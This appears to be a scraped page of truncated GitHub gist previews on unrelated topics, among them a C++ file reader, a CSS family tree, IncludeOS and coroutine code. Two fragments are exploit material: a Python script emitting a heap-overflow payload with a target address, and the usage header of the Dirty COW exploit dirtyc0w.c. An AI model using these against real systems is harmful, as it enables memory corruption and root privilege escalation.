This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import sys | |
def print_crck(): | |
overflow_str = b''.join([ b'a' for x in range(264) ]) | |
sys.stdout.buffer.write(b'new a\n') | |
sys.stdout.buffer.write(b'new b\n') | |
sys.stdout.buffer.write(b'delete 0\n') | |
sys.stdout.buffer.write(b'new ' + overflow_str + b'\x9c\x0c\x40\n') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
#include <fstream> | |
#include <algorithm> | |
#include <string> | |
#include <vector> | |
#include <sstream> | |
void foo(const char* filepath) | |
{ | |
std::ifstream file(filepath); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<!-- | |
We will create a family tree using just CSS(3) | |
The markup will be simple nested lists | |
--> | |
<style> | |
/*Now the CSS*/ | |
* {margin: 0; padding: 0;} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// This file is a part of the IncludeOS unikernel - www.includeos.org | |
// | |
// Copyright 2015-2016 Oslo and Akershus University College of Applied Sciences | |
// and Alfred Bratterud | |
// | |
// Licensed under the Apache License, Version 2.0 (the "License"); | |
// you may not use this file except in compliance with the License. | |
// You may obtain a copy of the License at | |
// | |
// http://www.apache.org/licenses/LICENSE-2.0 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
####################### dirtyc0w.c ####################### | |
$ sudo -s | |
# echo this is not a test > foo | |
# chmod 0404 foo | |
$ ls -lah foo | |
-r-----r-- 1 root root 19 Oct 20 15:23 foo | |
$ cat foo | |
this is not a test | |
$ gcc -pthread dirtyc0w.c -o dirtyc0w |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
http://godbolt.org/#z:OYLghAFBqd5QCxAYwPYBMCmBRdBLAF1QCcAaPECAM1QDsCBlZAQwBtMQBGAOgFYAGQUOHCALKQBWXUqgAOBPHQDOlNK1QBXYniWYAgkoC2IAOT8TpNIdl52AeVoBhBM1rAOZkwEpSSzcWQPAFIAJgBmPCpaLCoAagARbAAZbABxPQAVbAB9AAkABXzsgEkAOUckgFVE%2BKD%2BPVCwmLxaTATktMycgqKyiursWvq6hvCW5FYNLFigsMcCAE9ZTGyCYmZCJVnsEcbxyenZxyoNWmQFOjZt3bGzg7ajw0xDEgXt2IB6D9ji2KVmdCxSi7epfWIAWkhkNiDAAmqU7PkGMUGBCoeCQXpaMwnkpZMxAn9lshdgB2ABCIIAnARnrJWMxaUclHgAF4rAh/NmYUixRbLbFPWIAJV5/Mwgsw3GlsT0xGAWzC2FiE2YSiUsVkWkws0pw34NLpDKZcxZ7NWXPZYqWEpxbVFfJtkul3Fl8sVytV6tiLXpBI52gAbrrqbTrMadabuRazTzHQK7SLrQmni63Qr3l6Nb6GYEQ/rDeHGZHHLGY9zk7ahQ7xc6ZXKM0qVQzvegFoK8CSwnqGqShg16pK8f7YlgCBtWGSe3UqWhaEpaQAPWTES0c0eYKjMDSsAjZFj45CEBYzMLxNeoKgQMsELyxABUsVE%2BYHs%2BUS5Xa4tMW3u%2BybDwYBaCeehT3PWNL2vaNbxfII%2B0xEYwz9E1HFDJ1EwyUhQyNYtmWgytJQIu0XUzFsNQYYkwKJTBkBAEAc39LCCxvNcqLHCc6J/Hc9wPAlj12JURizDd2GAXDu0%2Bb5TjxGjIjwTB0ExJCIyONCU3tIjU3rd0mNfZTxNLfD4yrONa2I6VSLVcjiV0mcWNjASdnqYSsFEgzhQgBslBdHwYRstdrm7BDQW%2BdFwR%2BABZfIUgi7BSgyTJijsUo0ShTEh0PNp2NsKdEJwlCzOrTSpW0xtlQXRlOxFWI6UWb |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <experimental\coroutine> | |
using namespace std::experimental; | |
coro_return_type<int> test() | |
{ | |
int val = 0; | |
//return {}; // return only valid for subroutines aka functions | |
// works only if coro_return_type::promis_type specifies: |